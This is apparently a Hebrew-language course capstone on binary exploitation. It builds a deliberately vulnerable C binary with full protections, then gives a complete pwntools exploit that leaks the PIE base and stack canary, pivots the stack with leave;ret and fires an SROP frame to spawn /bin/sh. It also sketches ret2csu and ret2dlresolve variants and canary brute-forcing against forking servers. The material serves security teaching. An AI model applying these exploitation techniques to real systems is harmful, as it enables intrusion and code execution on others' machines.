לדלג לתוכן

6.5 פרויקט שרשרת ROP מורכבת פרויקט

פרויקט - chain ROP מורכבת: פיבוט ו-SROP

לאורך פרק 6 פירקנו את הטכניקות המתקדמות של ROP אחת-אחת: הזזת מחסנית - stack pivot, הגאדג'ט האוניברסלי ret2csu, קריאת סיגנל מזויפת - SROP, ופתרון סמלים בכוח - ret2dlresolve. עד עכשיו כל טכניקה הודגמה על בינארי שנבנה בדיוק בשבילה, לרוב עם כמה הגנות כבויות כדי שנוכל להתרכז ברעיון. עכשיו הגיע הרגע לחבר הכל. בפרויקט הזה תקבלו בינארי אחד קשוח - Full RELRO, NX, PIE, canary, וחלון overflow זעיר - שבו אף טכניקה בודדת לא מספיקה. תצטרכו לשרשר כמה מהן: פיבוט שמעביר אתכם לאזור עבודה גדול, ומעליו אחת מהטכניקות שמייצרת shell בלי שום כתובת libc קבועה. זה בדיוק סוג האתגר שתפגשו ב-CTF רציני ובעבודת מחקר אמיתית.

מה בונים ומה המטרה

תקבלו קוד מקור של בינארי קטן, תקמפלו אותו עם כל ההגנות דלוקות, ותכתבו exploit שפותח shell אינטראקטיבי. הקריטריון להצלחה חד משמעי:

$ python3 exploit.py
[+] stage    @ 0x5637b1c2e040
[+] PIE base @ 0x5637b1c2c000
[+] canary   @ 0x8f3a1e77c4b90600
[*] pivot -> stage, firing SROP frame
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag.txt
VR{pivot_plus_srop_needs_no_libc_at_all}

שימו לב לפרט אחד קריטי בפלט: אין שם שורת "libc זוהתה". בניגוד לפרויקט של פרק 4, כאן ה-exploit לא מדליף שום כתובת libc ולא תלוי בגרסת libc בכלל. זו לא במקרה - זו כל הנקודה של הנתיב שנבחר. הטכניקה SROP מאפשרת לבצע execve("/bin/sh", 0, 0) ישירות דרך קריאת מערכת, בלי לדעת איפה libc יושבת ובלי בכלל להיזקק לה.

הנחות הגנה - protections

לפני שכותבים שורת exploit אחת חייבים לדעת בדיוק נגד מה עומדים. הבינארי מקומפל כך שכל ההגנות דלוקות, וזה מה שהופך אותו לקשה:

  • מנגנון NX דלוק. המחסנית לא ניתנת להרצה, ולכן injection של shellcode לא באה בחשבון. כל הפתרון הוא ROP טהור.
  • מנגנון PIE דלוק. גם הבינארי עצמו נטען בכתובת אקראית, ולכן אין שום כתובת קוד או נתונים קבועה. חייבים לדלוף לפחות כתובת אחת מהבינארי כדי לחשב את הבסיס שלו.
  • קנרי - canary דלוק (מקמפלים עם -fstack-protector-all). כל overflow שמגיעה מעבר לbuffer אל return address חוצה את הcanary, וחייבת לכתוב אותו נכון בחזרה - אחרת התוכנית מתה ב-__stack_chk_fail. לכן נצטרך גם leak של canary.
  • מנגנון RELRO במצב Full. ה-GOT נכתב פעם אחת בטעינה והופך לקריאה בלבד. אי אפשר לדרוס אותו, וכפי שנראה בהמשך - זה גם מה שמוציא מהמשחק את ret2dlresolve הקלאסי.
  • חלון overflow זעיר. הקריאה הvulnerable נותנת לכם לדרוס בדיוק את הcanary, את ה-saved rbp, ואת return address - ואפס בתים אחריהם. אין מקום לchain. זו הסיבה שאתם חייבים פיבוט.

התמונה ברורה: יש כאן canary לדלוף, בסיס PIE לדלוף, חלון overflow שבו נכנס רק פיבוט אחד, ואזור עבודה גדול וכתיב שאליו נזיז את המחסנית. מכאן בונים את chain המטרה בנחת.

קוד המקור של הבינארי - vulnerable binary

הנה הבינארי המלא. שמרו אותו כ-chain.c:

// chain.c - chapter 6 capstone: pivot + SROP
// Build (Full RELRO, NX, PIE, Canary):
//   gcc -O0 -fstack-protector-all -fpie -pie \
//       -Wl,-z,relro,-z,now -o chain chain.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

// Guaranteed gadgets. In a dynamic binary there is no exposed syscall instruction in .text
// (system calls go through libc), and a clean pop rax does not always exist either.
// So we pin them at a fixed address (relative to the PIE base), exactly like
// we pinned pop rdi in the chapter 4 project. In a real binary you would look for them in libc.
__asm__(
    ".intel_syntax noprefix\n"
    ".global g_syscall\n"
    "g_syscall:\n"
    "    syscall\n"
    "    ret\n"
    ".global g_pop_rax\n"
    "g_pop_rax:\n"
    "    pop rax\n"
    "    ret\n"
    ".att_syntax prefix\n"
);

char stage[0x800];               // large bss area - the landing area for the pivot

void vuln(void) {
    char buf[64];

    // (1) leak the address of the staging area -> reveals the PIE base.
    printf("stage @ %p\n", (void *)stage);

    // (2) fill the staging area with the full chain (up to 0x800 bytes at a known address).
    read(0, stage, sizeof(stage));

    // (3) the name "feature" - actually a canary leak. We send just enough bytes
    //     to overwrite the low null byte of the canary, and puts prints the rest.
    printf("name> ");
    read(0, buf, 80);            // reaches the canary, not the return address
    puts(buf);

    // (4) the tiny overflow window: exactly up to the end of the return address, not a byte beyond.
    //     buf(64) + padding(8) + canary(8) + saved rbp(8) + return addr(8).
    printf("> ");
    read(0, buf, 96);           // no room for a chain -> pivot required
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin,  NULL, _IONBF, 0);
    vuln();
    return 0;
}

הקומפילציה, בדיוק עם ההגנות שהגדרנו:

gcc -O0 -fstack-protector-all -fpie -pie -Wl,-z,relro,-z,now -o chain chain.c

אימות ההגנות והגאדג'טים

לפני שכותבים exploit, מוודאים שהבינארי אכן קשוח כמו שתכננו:

$ checksec --file=./chain
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

עכשיו מאתרים את הרכיבים שנצטרך. הכתובות כאן הן היסטים יחסיים לבסיס ה-PIE (כי הבינארי הוא PIE), והן ישתנו אצלכם - קחו אותן מהפלט שלכם:

$ ROPgadget --binary chain | grep -E ': syscall ; ret$| : pop rax ; ret$'
0x00000000000011c6 : syscall ; ret
0x00000000000011c9 : pop rax ; ret

$ ROPgadget --binary chain | grep ': leave ; ret$'
0x0000000000001238 : leave ; ret

# looking for convenient rsi/rdx gadgets - and intentionally there are none:
$ ROPgadget --binary chain | grep -E ': pop rsi ; ret$| : pop rdx ; ret$'
$

השורה האחרונה היא הלב של האתגר. אין pop rsi ; ret ואין pop rdx ; ret, אז אי אפשר פשוט לבנות execve ידני שמסדר את שלושת הארגומנטים בזה אחר זה. יש לנו syscall, יש דרך לשלוט ב-rax, אבל אין דרך נוחה לסדר את rsi ואת rdx. זה בדיוק המצב שבו SROP זורח: הוא משחזר את כל האוגרים בבת אחת ממסגרת שאנחנו מניחים על המחסנית.

התוכנית ההתקפית

הרעיון מתחלק לארבעה שלבים, כולם באותה הרצה של אותו תהליך (חשוב - ASLR מגריל מחדש בכל תהליך, ובלי לדלוף מחדש הבסיס ישתנה):

  1. הleak של PIE. התוכנית מדפיסה לנו את הכתובת של stage. מכיוון ש-stage יושב בהיסט קבוע מבסיס הבינארי, זה נותן לנו את בסיס ה-PIE, ואיתו את הכתובות של g_syscall, g_pop_rax וגאדג'ט הפיבוט.
  2. מילוי הבמה. כותבים את הchain המלאה (כולל מסגרת ה-SROP והמחרוזת /bin/sh) לתוך stage, שכתובתו כבר ידועה לנו.
  3. הleak של canary. דרך "פיצ'ר השם" מדליפים את הcanary, כדי שנוכל לכתוב אותו נכון בoverflow.
  4. פיבוט וירי. הoverflow הזעירה דורסת את saved rbp בכתובת הבמה ואת return address בגאדג'ט leave ; ret. כשהפונקציה חוזרת, המחסנית מוזזת אל הבמה והchain רצה.

איך נראית הבמה שאנחנו כותבים ל-stage? זכרו את הטריק מפרק 6.1: הפיבוט עם leave ; ret כולל pop rbp כפול שבולע את 8 הבתים הראשונים. לכן הchain האמיתית מתחילה ב-stage+8, ואת 8 הבתים הראשונים ב-stage+0 ננצל לטובתנו - נשים שם דווקא את המחרוזת /bin/sh:

The staging area (stage) after we wrote to it:
+-----------------------------------------+
| stage+0x00 : "/bin/sh\0"                |  <-- both padding (swallowed by pop rbp) and the string
+-----------------------------------------+
| stage+0x08 : g_pop_rax                  |  <-- the chain starts here (ret jumps here)
+-----------------------------------------+
| stage+0x10 : 15                         |  <-- rax = 15  (rt_sigreturn number)
+-----------------------------------------+
| stage+0x18 : g_syscall                  |  <-- syscall triggers sigreturn
+-----------------------------------------+
| stage+0x20 : SigreturnFrame (0xf8 bytes)|  <-- the kernel restores all registers from here
|             rax=59, rdi=stage, rsi=0,   |
|             rdx=0, rip=g_syscall        |
+-----------------------------------------+

וזרימת השליטה, צעד אחר צעד, אחרי שהפונקציה vuln חוזרת:

vuln: leave ; ret     -> rbp = stage,  jumps to the leave;ret gadget
leave;ret (the gadget)-> rsp = stage ; pop rbp swallows "/bin/sh" ; rsp = stage+8
ret                   -> jumps to [stage+8] = g_pop_rax
g_pop_rax             -> rax = 15 ; jumps to g_syscall ; rsp = stage+0x20
g_syscall (rax=15)    -> rt_sigreturn reads a frame from rsp = stage+0x20
sigreturn             -> loads rax=59, rdi=stage, rsi=0, rdx=0, rip=g_syscall
g_syscall (rax=59)    -> execve("/bin/sh", 0, 0)  ->  shell

שימו לב לאלגנטיות: אותו גאדג'ט syscall ; ret משמש פעמיים - פעם ראשונה כדי לזמן את rt_sigreturn (עם rax=15), ופעם שנייה כ-execve (כש-rax=59 נטען מתוך המסגרת). ושימו לב לעוד יופי - execve היא קריאת מערכת, אז אין כאן שום movaps ואין כאב ראש של alignment מחסנית ל-16 בתים, בניגוד ל-system של libc.

דרישות הפרויקט - requirements

ה-exploit הסופי שתגישו חייב:

  • למצוא את היסטי החולשה (canary, saved rbp, return address) עם cyclic ו/או פירוק ב-gdb, לא בניחוש.
  • לדלוף את כתובת stage ולחשב ממנה את בסיס ה-PIE, ומשם את כל הכתובות שבבינארי.
  • לדלוף את הcanary ולכתוב אותו נכון בoverflow, כך שבדיקת הcanary עוברת.
  • לבצע פיבוט מהחלון הזעיר אל הבמה עם leave ; ret.
  • להריץ מהבמה chain שפותחת shell בלי שום כתובת libc - הנתיב המרכזי הוא SROP.
  • לפתוח shell אינטראקטיבי אמיתי ולהריץ בו לפחות שתי פקודות.

בנוסף, מומלץ בחום ליישם לפחות אחד מהנתיבים החלופיים (ret2csu או ret2dlresolve) כדי להוכיח שהבנתם למה בחרנו דווקא ב-SROP.

אבני דרך - milestones

אל תנסו לכתוב את הכל במכה אחת. עברו דרך אבני הדרך אחת-אחת, וודאו שכל אחת עובדת לפני שממשיכים.

אבן דרך 1 - הגנות והיסטים

מריצים checksec, מוודאים את התמונה, ומפרקים את vuln כדי לראות איפה יושב הcanary:

gdb ./chain
pwndbg> disass vuln
# looking for:  lea rax, [rbp-0x50]   (this is buf)   and   mov rax, [rbp-8]  (this is the canary)

מהפירוק רואים ש-buf מתחיל ב-rbp-0x50 (היסט 80) והcanary ב-rbp-8. כלומר מ-buf עד הcanary יש 0x50-8 = 0x48 = 72 בתים, אחריהם 8 בתים canary, 8 בתים saved rbp, ו-8 בתים return address. לכן:

buf[0..71]   : 72 bytes padding (the buffer + alignment padding)
buf[72..79]  : the canary
buf[80..87]  : saved rbp
buf[88..95]  : return addr

חלון הoverflow בקריאה (4) הוא 96 בתים בדיוק - עד סוף return address, אף בית מעבר. אין לאן לדחוס chain, וזו ההוכחה שאתם חייבים פיבוט.

אבן דרך 2 - leak של PIE וחישוב הבסיס

קוראים את הכתובת שהתוכנית מדפיסה ומחשבים בסיס:

io.recvuntil(b'stage @ ')
stage = int(io.recvline().strip(), 16)
elf.address = stage - elf.symbols['stage']    # sets the base for all symbols
log.success('stage    @ %#x', stage)
log.success('PIE base @ %#x', elf.address)

תוודאו שהבסיס מסתיים ב-000 (מיושר לעמוד). אם לא - קראתם שורה לא נכונה.

אבן דרך 3 - leak של הcanary

הcanary מסתיים תמיד בבית \x00 תחתון (מיטיגציה נגד leak במחרוזות). הטריק: שולחים בדיוק 73 בתים - 72 padding ועוד בית אחד שדורס את בית ה-null התחתון של הcanary. עכשיו puts לא נעצר שם, וממשיך להדפיס את 7 בתי הcanary הגבוהים:

io.recvuntil(b'name> ')
io.send(b'A' * 73)                 # 72 padding + a byte that overwrites the low null of the canary
resp = io.recvline()               # 'A'*73 + canary[1..7] + ...
canary = u64(b'\x00' + resp[73:80])
log.success('canary @ %#x', canary)

מרכיבים את הcanary בחזרה עם \x00 תחתון קבוע ועם 7 הבתים שדלפו. הבסיס לוגי: הcanary הוא ערך 64 ביט little-endian שהבית התחתון שלו 0, אז 7 הבתים העליונים הם החתימה שדלפנו.

אבן דרך 4 - פיבוט וירי SROP

בונים את הבמה ואת payload הפיבוט, שולחים, ומקבלים shell. זה הפתרון המלא בסוף העמוד. תבנו אותו בהדרגה: קודם תוודאו ב-gdb שהפיבוט מנחית את rsp ב-stage+8 (שימו breakpoint על g_pop_rax וראו את rsp), ורק אז תוסיפו את מסגרת ה-SROP.

שלד ה-exploit - starting skeleton

הנה נקודת פתיחה. השלימו את מה שמסומן ב-TODO:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./chain')
context.log_level = 'info'

CANARY_OFF = 72          # buf -> canary (milestone 1)
LEAVE_RET  = 0x1238      # ROPgadget --binary chain | grep ': leave ; ret'  (offset; verify on your side)

def start():
    return process('./chain')    # local; replace with remote(HOST, PORT) against a server

io = start()

# (1) PIE leak
io.recvuntil(b'stage @ ')
stage = int(io.recvline().strip(), 16)
elf.address = stage - elf.symbols['stage']
g_syscall = elf.symbols['g_syscall']
g_pop_rax = elf.symbols['g_pop_rax']
leave_ret = elf.address + LEAVE_RET

# (2) build the staging area and send it
frame = SigreturnFrame()
frame.rax = constants.SYS_execve      # 59
frame.rdi = stage                     # "/bin/sh" sits at stage+0
frame.rsi = 0
frame.rdx = 0
frame.rip = g_syscall
frame.rsp = stage + 0x400             # some valid writable address

chain  = b'/bin/sh\x00'               # stage+0  : string + padding for the pivot
chain += p64(g_pop_rax)               # stage+8
chain += p64(15)                      # stage+16 : rax = 15
chain += p64(g_syscall)               # stage+24 : syscall -> sigreturn
chain += bytes(frame)                 # stage+32 : the frame
io.send(chain)

# (3) canary leak - TODO milestone 3
# ...

# (4) pivot - TODO milestone 4
# payload = b'A'*CANARY_OFF + p64(canary) + p64(stage) + p64(leave_ret)
# io.send(payload)
# io.interactive()

נתיב חלופי - ret2csu

מה עושים אם אין syscall נוח, אבל הבינארי עדיין מכיל את __libc_csu_init (נכון לגרסאות glibc קטנות מ-2.34)? כאן נכנס ret2csu. תזכורת קצרה על שני הגאדג'טים שהוא נותן לנו:

; gadget1 - loads six registers from the stack
pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

; gadget2 - moves them into argument registers and calls the function
mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call [r12 + rbx*8]

מסדרים ב-gadget1 את rbx=0, rbp=1 (כדי שהלולאה שאחרי ה-call תיפול החוצה), r12 יצביע לכתובת של הפונקציה שנרצה לקרוא, r13=ארגומנט ראשון, r14=שני, r15=שלישי. אחרי ה-call הchain ממשיכה. בודקים שהגאדג'טים קיימים:

ROPgadget --binary chain | grep 'mov rdx, r15 ; mov rsi, r14'
ROPgadget --binary chain | grep 'pop rbx ; pop rbp ; pop r12'

יש כאן מלכודת חשובה: mov edi, r13d טוען רק את 32 הביטים התחתונים של rdi. תחת PIE הכתובת של /bin/sh בבמה היא 64 ביט, אז ret2csu לא נוח לסידור rdi לכתובת מלאה. לכן הוא מבריק לסידור rsi ו-rdx, אבל פחות ל-rdi.

איך בכל זאת מנצלים אותו כאן? במקום execve, משתמשים ב-ret2csu כדי לקרוא ל-write(1, got_entry, 8) - ה-rdi=1 נכנס יפה ב-32 ביט, ותחת Full RELRO ה-GOT כבר מכיל כתובות libc אמיתיות (הן נכתבו בטעינה). כך מדליפים כתובת libc, מחשבים בסיס, ובשלב שני קוראים ל-system("/bin/sh"):

pivot -> ret2csu: write(1, elf.got['read'], 8)  -> libc leak
      -> return to vuln / to a controlled stack
      -> stage two: system("/bin/sh")  (with a pop rdi gadget we'll need to find)

זה עובד, אבל שימו לב להבדל המהותי: הנתיב הזה תלוי libc. הוא דורש שתדעו באיזו גרסת libc מדובר כדי לחשב את ההיסט ל-system. הנתיב SROP, לעומתו, לא נוגע ב-libc בכלל. זו בדיוק הסיבה ש-SROP הוא הנתיב המרכזי כאן, ו-ret2csu הוא תרגיל השוואה מצוין.

המגבלה של Full RELRO על ret2dlresolve

אולי שאלתם את עצמכם: למה לא ret2dlresolve? הרי זו בדיוק הטכניקה שנועדה לפתור סמלים בלי leak של libc. התשובה היא ההגנה Full RELRO.

הטכניקה ret2dlresolve הקלאסית מזייפת מבני Elf64_Rela ו-Elf64_Sym ומחרוזת שם, ואז קופצת אל PLT[0] - סטאב ה-resolver שדוחף אינדקס ומקפיץ ל-_dl_runtime_resolve. כל זה מסתמך על קישור עצל - lazy binding: על כך שה-PLT באמת עובר דרך ה-resolver בזמן ריצה. תחת Full RELRO (שמופעל אצלנו עם -z now), הקישור מתבצע כולו בטעינה, ה-.got.plt מלא ומוקפא לקריאה בלבד, והמסלול דרך _dl_runtime_resolve פשוט לא בשימוש. במילים אחרות: ב-chain שלנו ret2dlresolve הקלאסי מת.

מי שרוצה בכל זאת לתרגל את הטכניקה - קמפלו וריאנט עם קישור עצל (Partial RELRO), רצוי בלי PIE כדי שכתובות ה-.bss יהיו קבועות:

gcc -O0 -fstack-protector-all -no-pie -Wl,-z,relro,-z,lazy -o chain_dl chain.c

ואז pwntools בונה את הpayload כמעט לבד:

elf = ELF('./chain_dl')
rop = ROP(elf)
dl  = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.read(0, dl.data_addr)     # write the fake structures to a known bss address
rop.ret2dlresolve(dl)
raw_rop = rop.chain()

תשלבו את זה עם הפיבוט בדיוק כמו את chain ה-SROP: קודם ממלאים את הבמה עם raw_rop ועם dl.payload, ואז מפעילים את הפיבוט. זו הדרך הנכונה להוכיח שהבנתם גם את הטכניקה השלישית מהפרק.

מלכודות נפוצות - common pitfalls

  • שכחתם את הpadding של 8 הבתים בתחילת הבמה. ה-pop rbp שבתוך ה-leave השני בולע את stage+0. אם שמתם שם את הגאדג'ט הראשון, הוא נבלע, וה-ret קופץ אל בתי /bin/sh - קריסה. אנחנו פותרים את זה בכך שהמחרוזת עצמה יושבת ב-stage+0, ולכן היא גם הpadding וגם /bin/sh.
  • בית newline בכתובת שדלפה או בcanary. אם 7 בתי הcanary מכילים במקרה 0x0a, ה-recvline יחתוך אותם באמצע. זו אחת הסיבות לעטוף את כל ה-exploit בלולאת ניסיונות חוזרים (ראו מטרות מתיחה).
  • בלבול בין ה-rsp של המסגרת למיקום הקריאה. ה-rt_sigreturn קורא את המסגרת מ-rsp ברגע ה-syscall. אצלנו זה stage+0x20, ולכן שם בדיוק המסגרת מתחילה. טעות של 8 בתים כאן = קריסה. אמתו ב-gdb: breakpoint על g_syscall, בדקו rsp.
  • הקריאה read לא מוסיפה null ולא עוצרת ב-newline. השתמשו ב-send (לא sendline) בשליחת הchains והpayloads, כדי לשלוט בדיוק במספר הבתים ובלי newline מיותר שיזיז דברים.
  • הבמה חייבת להיכתב לפני הפיבוט. הסדר תמיד: קודם ממלאים את stage, אחר כך מדליפים canary, ורק בסוף מפוצצים. אם תהפכו את הסדר, אין chain לקפוץ אליה.
  • ערבוב ההגנות. אם שכחתם -z now, קיבלתם Partial RELRO, וה-checksec לא יראה Full RELRO. אם שכחתם -fstack-protector-all, אין canary לדלוף והתרגיל מאבד חלק מהמורכבות. תמיד אמתו עם checksec לפני שמתחילים.

מטרות מתיחה - stretch goals

השלמתם את הנתיב המרכזי? הנה איך לוקחים את הפרויקט לרמת מחקר אמיתי.

מטרה 1 - בלי שום leak. מחקו מהמקור את שורת printf("stage @ %p") ואת puts(buf), קמפלו מחדש, ופתרו בלי leak של PIE ובלי leak של canary. עוטפים את הבינארי בשרת forking (הילדים יורשים מההורה גם את בסיס ה-ASLR וגם את הcanary), ואז מפצחים בית-בית: מנחשים בית של הcanary, ואם התהליך לא קרס - הבית נכון. 256 ניחושים כפול 8 בתים לcanary, ואותו רעיון לביטים התחתונים של בסיס ה-PIE. זה ההבדל בין "יש leak" ל"אין leak" בעולם האמיתי.

מטרה 2 - רק ret2csu, בלי גאדג'טים מובטחים. מחקו את בלוק ה-__asm__ וקמפלו על toolchain שעדיין פולט __libc_csu_init. עכשיו אין g_syscall ואין g_pop_rax, ותצטרכו לבנות את הכל מגאדג'טי ה-csu ומleak של libc, כמתואר בנתיב החלופי. תסיימו עם system("/bin/sh") מלא.

מטרה 3 - ret2dlresolve טהור. ממשו את הווריאנט עם Partial RELRO ובלי PIE שתיארנו, כולל שילוב עם הפיבוט. תשוו לעצמכם: כמה בתים תפס הpayload של ret2dlresolve לעומת מסגרת ה-SROP? מתי הייתם מעדיפים כל טכניקה?

מטרה 4 - תקיפה מרחוק מול libc לא ידועה. עטפו את הבינארי בשרת (למשל עם socat), החליפו process ב-remote, והוכיחו שנתיב ה-SROP עובד בלי שינוי גם כשאין לכם בכלל את קובץ ה-libc של השרת. זה היתרון הגדול של SROP: הוא לא נוגע ב-libc, אז הוא ניטרלי לחלוטין לגרסה.

מטרה 5 - chain SROP כפולה. לפני ה-execve, השתמשו ב-SROP ראשון כדי לקרוא mprotect על אזור ולהפוך אותו לניתן להרצה, ואז SROP שני כדי לקפוץ ל-shellcode שכתבתם לשם. זה מראה ש-SROP הוא לא רק "פתיחת shell" אלא פרימיטיב כללי לשליטה מלאה על מצב האוגרים.

פתרון ייחוס - reference exploit

אחרי שהתמודדתם לבד, הנה exploit מלא ורץ: פיבוט + SROP, בלי שום כתובת libc. השתמשו בו כדי להשוות לעצמכם, לא כדי לדלג על העבודה:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./chain')
context.log_level = 'info'

CANARY_OFF = 72          # buf -> canary
LEAVE_RET  = 0x1238      # ROPgadget --binary chain | grep ': leave ; ret'  (offset; verify)

def start():
    return process('./chain')        # replace with remote(HOST, PORT) against a server

def exploit():
    io = start()

    # (1) PIE leak from the address of the staging area
    io.recvuntil(b'stage @ ')
    stage = int(io.recvline().strip(), 16)
    elf.address = stage - elf.symbols['stage']
    log.success('stage    @ %#x', stage)
    log.success('PIE base @ %#x', elf.address)

    g_syscall = elf.symbols['g_syscall']
    g_pop_rax = elf.symbols['g_pop_rax']
    leave_ret = elf.address + LEAVE_RET

    # (2) build and send the staging area: string, prep rax=15, syscall, and SROP frame
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve      # 59
    frame.rdi = stage                     # "/bin/sh" sits at stage+0
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = g_syscall
    frame.rsp = stage + 0x400

    chain  = b'/bin/sh\x00'               # stage+0  : string + padding for the pivot
    chain += p64(g_pop_rax)               # stage+8
    chain += p64(15)                      # stage+16 : rax = 15
    chain += p64(g_syscall)               # stage+24 : syscall -> sigreturn
    chain += bytes(frame)                 # stage+32 : the frame
    io.send(chain)                        # fills read(stage); must happen before "name> "

    # (3) canary leak via the name "feature"
    io.recvuntil(b'name> ')
    io.send(b'A' * (CANARY_OFF + 1))      # overwrites only the low null byte of the canary
    resp = io.recvline()
    canary = u64(b'\x00' + resp[CANARY_OFF + 1: CANARY_OFF + 8])
    log.success('canary   @ %#x', canary)

    # (4) the tiny overflow -> pivot to the staging area
    io.recvuntil(b'> ')
    payload  = b'A' * CANARY_OFF          # 72 padding bytes
    payload += p64(canary)                # restore the correct canary
    payload += p64(stage)                 # saved rbp -> the staging area (pivot target)
    payload += p64(leave_ret)             # return addr -> leave ; ret
    io.send(payload)

    log.info('pivot -> stage, firing SROP frame')
    io.sendline(b'echo PWNED_$((21+21))') # liveness check
    if b'PWNED_42' in io.recvrepeat(0.5):
        log.success('shell!')
        io.interactive()
    else:
        log.failure('no shell opened, check the offsets and the SROP frame')
        io.close()

if __name__ == '__main__':
    exploit()

שימו לב לנקודת הסנכרון בקוד: הקריאה שממלאת את הבמה קורה לפני ההדפסה name>. לכן בפועל שולחים את chain מיד אחרי שקראנו את שורת stage @, ורק אז מחכים ל-name>. אם תבלבלו את הסדר, הבתים של הבמה ייבלעו בפרומפט הלא נכון. תמיד סנכרנו מול הפלט האמיתי של הבינארי, לא מול מה שנוח לכם להניח.

קריטריוני הצלחה והגשה

מה שצריך להראות בסוף:

  • פתיחת shell אמינה - exploit שמדליף PIE וcanary, מבצע פיבוט, ופותח shell שבו הרצתם לפחות שתי פקודות (id ו-cat flag.txt).
  • הוכחת החלון הזעיר - פלט gdb או פירוק שמראה שהoverflow מגיעה בדיוק עד return address, ושאין מקום לchain בלי פיבוט.
  • פיבוט מאומת - צילום מ-gdb שמראה את rsp נוחת ב-stage+8 אחרי הפיבוט.
  • בלי libc - הוכחה שהנתיב המרכזי (SROP) עובד בלי שום קובץ או כתובת libc. אם מימשתם גם את ret2csu, ציינו את ההבדל: זה תלוי libc וזה לא.
  • לפחות נתיב חלופי אחד - ret2csu או ret2dlresolve, עם הסבר קצר למה בחרנו דווקא ב-SROP כנתיב המרכזי.

הגישו את קוד ה-C, את סקריפט ה-exploit, ותיעוד קצר: מה ניסיתם, איפה נתקעתם, ואיך פתרתם. אם ניגשתם למטרת מתיחה - צרפו גם אותה עם הסבר.

זה הקפסטון של פרק 6. אם הגעתם עד כאן עם shell, אתם כבר לא "מריצים exploit" - אתם מרכיבים אחד מטכניקות שאתם בוחרים לפי מה שהבינארי מרשה. פיבוט כדי לקנות מקום, ו-SROP כדי לקנות שליטה מלאה על האוגרים בלי להסתמך על כלום חיצוני. זה בדיוק האופן שבו נראה exploit של חולשות ברמה מקצועית.